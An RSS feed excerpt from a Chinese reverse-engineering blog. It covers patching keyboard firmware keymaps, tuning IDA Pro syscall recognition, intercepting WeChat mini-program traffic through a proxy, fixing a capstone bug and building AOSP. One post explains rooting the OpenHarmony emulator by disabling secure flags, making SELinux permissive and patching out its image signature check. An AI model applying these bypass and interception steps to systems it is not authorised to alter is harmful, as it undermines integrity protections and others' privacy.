[]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>): <span class="comment"># 后面发现 20 列，但是多的没用到，因为我这是一把 75 配列的</span></span><br><span class="line">        col = []</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>): <span class="comment"># 6 行</span></span><br><span class="line">            col.append(idaapi.get_dword(base + (i * <span class="number">6</span> + j) * <span class="number">4</span>))</span><br><span class="line">        keyboard_map.append(col)</span><br><span class="line">    <span class="keyword">return</span> keyboard_map</span><br></pre></td></tr></table></figure><p>后面分析了很久的代码，以为会像 iMK 那个一样会有针对 fn 层的专门的处理，决定 fn + ? 输出什么，但我在 int0 的按键扫描处理逻辑中并没有发现这样的东西（虽然我也没完全看明白，但是我就看到它一直在查表）我就想是不是还会有别的表呢。</p><p>我就又用 read_keyboard_map 往后读了 0xb800 的，发现还真是 windows 的 fn 层的映射矩阵。于是我得到了</p><table><thead><tr><th>地址</th><th>长度</th><th>含义</th></tr></thead><tbody><tr><td>0xb400&#x2F;0xcc00</td><td>0x200</td><td>windows layer 0</td></tr><tr><td>0xb600&#x2F;0xce00</td><td>0x200</td><td>macos layer 0</td></tr><tr><td>0xb800&#x2F;0xd000</td><td>0x200</td><td>windows layer fn</td></tr><tr><td>0xba00&#x2F;0xd200</td><td>0x200</td><td>macos layer fn</td></tr></tbody></table><p>那还扯啥呢？</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">MacOS 模式键位映射地址</span></span><br><span class="line"><span class="string">layer0 0xb600、0xce00</span></span><br><span class="line"><span class="string">layer1 0xba00、0xd200</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">f1 - f12 layer0 和 layer1 互换</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> intelhex <span class="keyword">import</span> IntelHex</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_dword</span>(<span class="params">ih: IntelHex, addr: <span class="built_in">int</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    b0 = ih[addr]</span><br><span class="line">    b1 = ih[addr + <span class="number">1</span>]</span><br><span class="line">    b2 = ih[addr + <span class="number">2</span>]</span><br><span class="line">    b3 = ih[addr + <span class="number">3</span>]</span><br><span class="line">    <span class="keyword">return</span> struct.unpack(<span class="string">&quot;&gt;I&quot;</span>, <span class="built_in">bytes</span>([b0, b1, b2, b3]))[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">patch_dword</span>(<span class="params">ih: IntelHex, addr: <span class="built_in">int</span>, value: <span class="built_in">int</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    b = struct.pack(<span class="string">&quot;&gt;I&quot;</span>, value)</span><br><span class="line">    ih[addr] = b[<span class="number">0</span>]</span><br><span class="line">    ih[addr + <span class="number">1</span>] = b[<span class="number">1</span>]</span><br><span class="line">    ih[addr + <span class="number">2</span>] = b[<span class="number">2</span>]</span><br><span class="line">    ih[addr + <span class="number">3</span>] = b[<span class="number">3</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">impl</span>(<span class="params">ih: IntelHex, layer0: <span class="built_in">int</span>, layer1: <span class="built_in">int</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;交换 layer0 和 layer1 中 F1-F12 键的映射&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">12</span>):</span><br><span class="line">        addr0 = layer0 + (i + <span class="number">1</span>) * <span class="number">6</span> * <span class="number">4</span></span><br><span class="line">        addr1 = layer1 + (i + <span class="number">1</span>) * <span class="number">6</span> * <span class="number">4</span></span><br><span class="line">        v0 = get_dword(ih, addr0)</span><br><span class="line">        v1 = get_dword(ih, addr1)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;f<span class="subst">&#123;i + <span class="number">1</span>&#125;</span>: <span class="subst">&#123;v0:08x&#125;</span> &lt;-&gt; <span class="subst">&#123;v1:08x&#125;</span>&quot;</span>)</span><br><span class="line">        patch_dword(ih, addr0, v1)</span><br><span class="line">        patch_dword(ih, addr1, v0)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    input_file = <span class="string">&quot;firmware.hex&quot;</span></span><br><span class="line">    output_file = <span class="string">&quot;firmware_patched.hex&quot;</span></span><br><span class="line"></span><br><span class="line">    ih = IntelHex(input_file)</span><br><span class="line"></span><br><span class="line">    impl(ih, <span class="number">0xb600</span>, <span class="number">0xba00</span>)</span><br><span class="line">    impl(ih, <span class="number">0xce00</span>, <span class="number">0xd200</span>)</span><br><span class="line"></span><br><span class="line">    ih.write_hex_file(output_file)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后写回去即可</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sinowealth-kb-tool write --platform sh68f90 --vendor_id 0x258a --product_id 0x010C firmware_patched.hex</span><br></pre></td></tr></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>IDA Pro Linux系统调用识别优化</title>
      <link>https://blog.gaoyucan.site/posts/ida-pro-linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%AF%86%E5%88%AB%E4%BC%98%E5%8C%96/</link>
      <description>
        <![CDATA[<h2 id="What"><a href="#What" class="headerlink" title="What"></a>What</h2><p>对于已知的系统调用(比如 <code>prctl</code>)IDA Pro的识别效果如下，系统调用被优化成了函数调用的形]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/IDA-Pro/">IDA Pro</category>
      <pubDate>Sun, 28 Dec 2025 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="What"><a href="#What" class="headerlink" title="What"></a>What</h2><p>对于已知的系统调用(比如 <code>prctl</code>)IDA Pro的识别效果如下，系统调用被优化成了函数调用的形式，而且返回值和参数都被纳入了后续的分析、优化之中。</p><p><img src="/posts/ida-pro-linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%AF%86%E5%88%AB%E4%BC%98%E5%8C%96/115bd357467b30ffcde1f7f26a7d1366.png" alt="image.png"></p><p>而对于未知的系统调用（比如 <code>clone3</code>）则被以外部指令 _asm { syscall } 的形式实现，看起来很难受，更重要的是这样会导致 IDA 再后续的分析中认为 eax 的值被赋值为常量 0x1b3，而不是 clone3 系统调用的返回值，进而导致后续反编译器在死代码移除阶段移除对应的子进程逻辑，造成反编译代码语义上的错误、不完整。</p><p><img src="/posts/ida-pro-linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%AF%86%E5%88%AB%E4%BC%98%E5%8C%96/ef6dba59f5d045d7113b3a46784238a4.png" alt="image.png"></p><h2 id="How"><a href="#How" class="headerlink" title="How"></a>How</h2><p>既然反编译器反编译出来了 <code>sys_prctl</code> 这个名字，那么安装目录下一定会有这个字符串，或者相关字符串，直接 grep 开搜</p><p><img src="/posts/ida-pro-linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%AF%86%E5%88%AB%E4%BC%98%E5%8C%96/901a8707f0c5f562797cf9708b1d49d7.png" alt="image.png"></p><p>发现目标字符串只出现在 loadint 的代码及其编译产物中，尝试修改 linux64.cmt</p><p><img src="/posts/ida-pro-linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%AF%86%E5%88%AB%E4%BC%98%E5%8C%96/bba03c08a67ce18806223afe2f3913fc.png" alt="image.png"></p><p>关闭IDA Pro后，使用如下指令重新生成 ida.int</p><p> <code>./tools/loadint/loadint -n=ida.hlp tools/loadint/comment.cmt ida.int</code> </p><p><img src="/posts/ida-pro-linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%AF%86%E5%88%AB%E4%BC%98%E5%8C%96/c35ba48ecf026f4e8bbb839eab3a1bd6.png" alt="image.png"></p><p>重新加载文件，反编译效果如下</p><p><img src="/posts/ida-pro-linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%AF%86%E5%88%AB%E4%BC%98%E5%8C%96/08d3d99ba47d4c9bc9ccdcf37f8890af.png" alt="image.png"></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Root DevEco-Studio OpenHarmonyOS Emulator on macOS</title>
      <link>https://blog.gaoyucan.site/posts/root-deveco-studio-openharmonyos-emulator-on-macos/</link>
      <description>
        <![CDATA[<h2 id="修改-system-img"><a href="#修改-system-img" class="headerlink" title="修改 system.img"></a>修改 system.img</h2><blockquote>
<p>本节内容参考自：<a hr]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <pubDate>Sun, 24 Aug 2025 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="修改-system-img"><a href="#修改-system-img" class="headerlink" title="修改 system.img"></a>修改 system.img</h2><blockquote><p>本节内容参考自：<a href="https://wuxianlin.com/2024/10/27/root-harmonyos-next-emultor/">https://wuxianlin.com/2024/10/27/root-harmonyos-next-emultor/</a></p></blockquote><ol><li><p>挂载 system.img</p><p> <code>sudo mount -o rw,loop system.img  ~/system_oho</code></p></li><li><p>修改 system&#x2F;etc&#x2F;param&#x2F;ohos.para</p><p> <code>const.secure=1</code> -&gt;  <code>const.secure=0</code></p><p> <code>const.debuggable=0</code> -&gt; <code>const.debuggable=1</code></p></li><li><p>修改 system&#x2F;etc&#x2F;param&#x2F;hdc.para</p><p> 参考 <a href="https://gitee.com/openharmony/developtools_hdc/blob/OpenHarmony-5.0.1-Release/src/daemon/etc/hdc.para">非root版本文件内容</a> 和 <a href="https://gitee.com/openharmony/developtools_hdc/blob/OpenHarmony-5.0.1-Release/src/daemon/etc/hdc.root.para">root版本文件内容</a> 修改即可</p></li><li><p>修改 system&#x2F;etc&#x2F;init&#x2F;hdcd.cfg</p><p> 参考 <a href="https://gitee.com/openharmony/developtools_hdc/blob/OpenHarmony-5.0.1-Release/src/daemon/etc/hdcd.cfg">非root版本文件内容</a> 和 <a href="https://gitee.com/openharmony/developtools_hdc/blob/OpenHarmony-5.0.1-Release/src/daemon/etc/hdcd.root.cfg">root版本文件内容</a> 修改即可，其中 hdcd 的 selinux 上下文设置为 <code>u:r:hdcd:s0</code> ， 也就是不改。</p></li><li><p>修改 system&#x2F;etc&#x2F;selinux&#x2F;system_common.cil</p><p> <code>(type sh)</code> -&gt; <code>(typepermissive sh)</code></p></li><li><p>取消挂载</p></li></ol><h2 id="Patch-emulator"><a href="#Patch-emulator" class="headerlink" title="Patch emulator"></a>Patch emulator</h2><p>按照上面的方法对 system.img 进行 patch 后，发现镜像文件检验失败无法启动镜像（我镜像你也要校验，真下头</p><p><img src="/posts/root-deveco-studio-openharmonyos-emulator-on-macos/1d1a6a238cc82aff6226b71bd29441fa.png" alt="image.png"></p><p>对 Emulator 文件进行逆向后发现，校验的实现在 <code>CheckImage::CheckSign</code> 函数</p><p><img src="/posts/root-deveco-studio-openharmonyos-emulator-on-macos/f96e3a82921fef91a2d895bc004c06a5.png" alt="image.png"></p><p>patch 也比较简单 <code>VerifyReleaseCmsFile</code> 函数修改为 <code>return 0</code> 即可。 然后重新签名一下</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> codesign -s - --entitlements app.entitlements --force  Emulator_patched</span><br></pre></td></tr></table></figure><p>其中 app.entitlements 的内容为</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">plist</span> <span class="keyword">PUBLIC</span> <span class="string">&quot;-//Apple//DTD PLIST 1.0//EN&quot;</span> <span class="string">&quot;&lt;http://www.apple.com/DTDs/PropertyList-1.0.dtd&gt;&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">plist</span> <span class="attr">version</span>=<span class="string">&quot;1.0&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dict</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">key</span>&gt;</span>com.apple.security.hypervisor<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">true</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dict</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plist</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="/posts/root-deveco-studio-openharmonyos-emulator-on-macos/8d89cefca8c5bf70a65566641629435e.png" alt="image.png"></p><p>签名部分参考自：<a href="https://stackoverflow.com/questions/64642062/apple-hypervisor-is-completely-broken-on-macos-big-sur-beta-11-0-1">https://stackoverflow.com/questions/64642062/apple-hypervisor-is-completely-broken-on-macos-big-sur-beta-11-0-1</a></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Surge + BurpSuite 微信小程序抓包实践</title>
      <link>https://blog.gaoyucan.site/posts/surge-burpsuite-%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%8A%93%E5%8C%85%E5%AE%9E%E8%B7%B5/</link>
      <description>
        <![CDATA[<h2 id="Why"><a href="#Why" class="headerlink" title="Why"></a>Why</h2><p>对于在 Mac 上如何对微信小程序进行抓包这个问题，网上的解决方法以及非常成熟了。 Proxifier + 任意一个 Http(s)]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/%E7%88%AC%E8%99%AB/">爬虫</category>
      <pubDate>Wed, 20 Aug 2025 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Why"><a href="#Why" class="headerlink" title="Why"></a>Why</h2><p>对于在 Mac 上如何对微信小程序进行抓包这个问题，网上的解决方法以及非常成熟了。 Proxifier + 任意一个 Http(s) 抓包工具，然后在 Proxifier 中修改配置让 <code>WeChatAppEx Helper</code> 这个进程走代理即可。这么做可以，而且一直以来我也是这么做的。但是不优雅，对 Surge 用户来说不优雅，我使用 Surge 作为科学上网工具，但是Proxifier 和 Surge 在我使用中是有些冲突的，每次我要打开 Proxifier 我就不得不进入设置打开它的网络拓展，然后关闭（甚至彻底移除） Surge 的网络拓展。在折腾半天抓完包之后再这样反过来做一遍。这很麻烦，也很没必要，因为 Surge 本身就完全具备 Proxifier 的这一功能，但是我搜索全网好像并没有找到相关的资料。</p><h2 id="How"><a href="#How" class="headerlink" title="How"></a>How</h2><p>在 Surge 的策略界面，添加一个新的代理，⚠️注意⚠️协议选择 HTTP，其他没啥可注意。另外测试会失败我也不知道为什么，但是无所谓，</p><blockquote><p>我测试好像只有选择 HTTP 它才 work</p></blockquote><p><img src="/posts/surge-burpsuite-%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%8A%93%E5%8C%85%E5%AE%9E%E8%B7%B5/668a3f0c21ba676790d372c2e7c19ab0.png" alt="image.png"></p><p>然后添加一下规则，Surge 可以按照 Process-Name 设置代理，当然也有更方便的 GUI 可以设置（请求查看器里）</p><p><img src="/posts/surge-burpsuite-%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%8A%93%E5%8C%85%E5%AE%9E%E8%B7%B5/bca19aeaefe9b920d874da3b3e970af8.png" alt="image.png"></p><p>纵享丝滑</p><p><img src="/posts/surge-burpsuite-%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%8A%93%E5%8C%85%E5%AE%9E%E8%B7%B5/b108cdfd48080f54ab6afd81e92faf94.png" alt="image.png"></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>记一次 capstone BUG 处理</title>
      <link>https://blog.gaoyucan.site/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1-capstone-bug-%E5%A4%84%E7%90%86/</link>
      <description>
        <![CDATA[<p>最近在使用 angr 搞一些东西，在 angr 所依赖的 capstone 5.x 版本(图中使用的是截止本文发表时 capstone 的 5.x 版本的最新版 5.0.6) 中发现了一个 capstone 的问题。</p>
<p>问题如下图所示</p>
<p><img s]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/%E8%B8%A9%E5%9D%91/">踩坑</category>
      <pubDate>Sun, 23 Mar 2025 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>最近在使用 angr 搞一些东西，在 angr 所依赖的 capstone 5.x 版本(图中使用的是截止本文发表时 capstone 的 5.x 版本的最新版 5.0.6) 中发现了一个 capstone 的问题。</p><p>问题如下图所示</p><p><img src="/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1-capstone-bug-%E5%A4%84%E7%90%86/245accdb639bd7e9abf10735c05ebdd8.png" alt="image.png"></p><p><img src="/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1-capstone-bug-%E5%A4%84%E7%90%86/15de43ed23308b3b79b5aa553c0389c4.png" alt="image.png"></p><p>显然，这条指令读取的是 W27 和 W8，写的是 NZCV (标志寄存器)，但是 regs_access 的返回是读了 W8 写了 W27 和 NZCV。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Registers read: w8</span><br><span class="line">Registers modified: nzcv w27</span><br></pre></td></tr></table></figure><p>查找相关 issues 发现了一个 2020 的 issues </p><p><a href="https://github.com/capstone-engine/capstone/issues/1653">https://github.com/capstone-engine/capstone/issues/1653</a></p><p>并且在 2021 已经合并了</p><p><a href="https://github.com/capstone-engine/capstone/pull/1655">https://github.com/capstone-engine/capstone/pull/1655</a></p><p>就在我摸不到头脑的时候，突然注意到</p><p><img src="/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1-capstone-bug-%E5%A4%84%E7%90%86/607275aa83a0c3de5e37432218bdbd59.png" alt="image.png"></p><p>next 是 6.x 的分支，也就是说这个bug确实修了但是 5.x 没修。</p><p>看了一下 commit ，改动也很简单。</p><p><img src="/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1-capstone-bug-%E5%A4%84%E7%90%86/98247cd6fba59f99186c4dcdc14e7180.png" alt="image.png"></p><p>在 <code>printOperand</code> 函数里对着改一下即可，然后编译一个动态链接库替换进去。</p><figure class="highlight cpp"><table><tr><td class="code"><pre><span class="line">cmake -B build -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON</span><br><span class="line">cmake --build build</span><br><span class="line">cp libcapstone.dylib  /Users/gaoyucan/.pyenv/versions/<span class="number">3.10</span><span class="number">.15</span>/lib/python<span class="number">3.10</span>/site-packages/capstone/lib/</span><br></pre></td></tr></table></figure><p><img src="/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1-capstone-bug-%E5%A4%84%E7%90%86/1d9e68e42d45b608f5bf041a095ed022.png" alt="image.png"></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>记一次离谱的AOSP编译经历</title>
      <link>https://blog.gaoyucan.site/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1%E7%A6%BB%E8%B0%B1%E7%9A%84aosp%E7%BC%96%E8%AF%91%E7%BB%8F%E5%8E%86/</link>
      <description>
        <![CDATA[<p>最近突发奇想，想给很多年前买的 Pixel 一代（sailfish）编译一个 AOSP 的系统。因为之前虽然经常编译 LineageOS，但是仔细一想还真没有给真机器编译过 AOSP 的系统。</p>
<h2 id="准备阶段"><a href="#准备阶段" class=]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/Android/">Android</category>
      <category domain="https://blog.gaoyucan.site/tags/%E8%B8%A9%E5%9D%91/">踩坑</category>
      <pubDate>Sat, 08 Mar 2025 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>最近突发奇想，想给很多年前买的 Pixel 一代（sailfish）编译一个 AOSP 的系统。因为之前虽然经常编译 LineageOS，但是仔细一想还真没有给真机器编译过 AOSP 的系统。</p><h2 id="准备阶段"><a href="#准备阶段" class="headerlink" title="准备阶段"></a>准备阶段</h2><p>查阅Google官网的<a href="https://source.android.com/docs/setup/reference/build-numbers?hl=zh-cn#source-code-tags-and-builds">文档</a>发现 Pixel 一代所支持的最新版本是 <code>android-10.0.0_r17</code>，build ID 是 <code>QP1A.191005.007.A3</code>。这里我选择从 USTC 镜像源拉源代码，虽然我在北京，但是清华源基本处于一个不可用的状态，不知道是因为北邮校园网的问题还是啥。一如我当年在安徽大学（中科大对门）用过清华源的 pypi 镜像。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> REPO_URL=https://gerrit-googlesource.proxy.ustclug.org/git-repo</span><br><span class="line"></span><br><span class="line">repo init -u git://mirrors.ustc.edu.cn/aosp/platform/manifest -b android-10.0.0_r17</span><br><span class="line"></span><br><span class="line">repo <span class="built_in">sync</span> <span class="comment"># 加 -c 可能会更快，但是我懒得加了，因为一晚上肯定拉完了 </span></span><br></pre></td></tr></table></figure><p>下载好之后，要添加一下驱动，在这 <a href="https://developers.google.com/android/drivers">https://developers.google.com/android/drivers</a>按build ID搜索一下，下载对应机型的，解压出来<code>./extract-qcom-sailfish.sh</code>和<code>./extract-google_devices-sailfish.sh</code> 在源代码目录下执行一下即可。</p><p>至此，就准备好了。</p><h2 id="编译"><a href="#编译" class="headerlink" title="编译"></a>编译</h2><h3 id="😭-Ubuntu-22-04"><a href="#😭-Ubuntu-22-04" class="headerlink" title="😭 Ubuntu 22.04"></a>😭 Ubuntu 22.04</h3><p>我用的是 Ubuntu 22.04，我看符合官网上 <code>Ubuntu 18.04 or later</code> 的要求我就直接开编译了，直接就是三板斧。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">source</span> build/envsetup.sh</span><br><span class="line"></span><br><span class="line">lunch aosp_sailfish-userdebug</span><br><span class="line"></span><br><span class="line">make -j$(<span class="built_in">nproc</span>)</span><br></pre></td></tr></table></figure><p>然后就给报了错，</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">******************************</span><br><span class="line">You have tried to change the API from what has been previously approved.</span><br><span class="line"></span><br><span class="line">To make these errors go away, you have two choices:</span><br><span class="line">   1. You can add &#x27;@hide&#x27; javadoc comments to the methods, etc. listed in the</span><br><span class="line">      errors above.</span><br><span class="line"></span><br><span class="line">   2. You can update current.txt by executing the following command:</span><br><span class="line">         make test-api-stubs-docs-update-current-api</span><br><span class="line"></span><br><span class="line">      To submit the revised current.txt to the main Android repository,</span><br><span class="line">      you will need approval.</span><br><span class="line">******************************</span><br><span class="line"></span><br><span class="line">14:26:06 ninja failed with: exit status 1</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">FAILED: out/soong/.intermediates/frameworks/base/api-stubs-docs/android_common/check_last_released_api.timestamp</span><br><span class="line">( rm -rf &quot;out/soong/.intermediates/frameworks/base/api-stubs-docs/android_common/last-apicheck/srcjars&quot; &amp;&amp; mkdir -p &quot;out/soong/.intermediates/frameworks/base/api-stubs-docs/android_common/last-apicheck/srcjars&quot; &amp;&amp; out/soong/host/linux-x86/bin/zipsync -d out/soong/.intermediates/frameworks/base/api-stubs-docs/android_common/last-apicheck/srcjars -l out/soong/.intermediates/frameworks/base/api-stubs-docs/android_common/last-apicheck/srcjars/list -f &quot;*.java&quot; out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/privacy.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/section.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/activitymanager.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/alarmmanager.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/notification.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/notification_channel.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/notification_channel_group.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/notificationmanager.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/pendingintent.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/profilerinfo.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/settings_enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/statusbarmanager.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/window_configuration.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/app/job/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/bluetooth/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/bluetooth/a2dp/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/bluetooth/hci/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/bluetooth/hfp/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/bluetooth/smp/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/content/activityinfo.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/content/clipdata.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/content/clipdescription.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/content/component_name.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/content/configuration.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/content/featureinfo.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/content/intent.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/content/locale.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/content/package_item_info.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/debug/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/graphics/pixelformat.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/graphics/point.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/graphics/rect.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/hardware/biometrics/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/hardware/sensor/assist/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/internal/locallog.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/internal/powerprofile.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/internal/processstats.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/media/audioattributes.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/net/network.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/net/networkcapabilities.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/net/networkrequest.srcjar 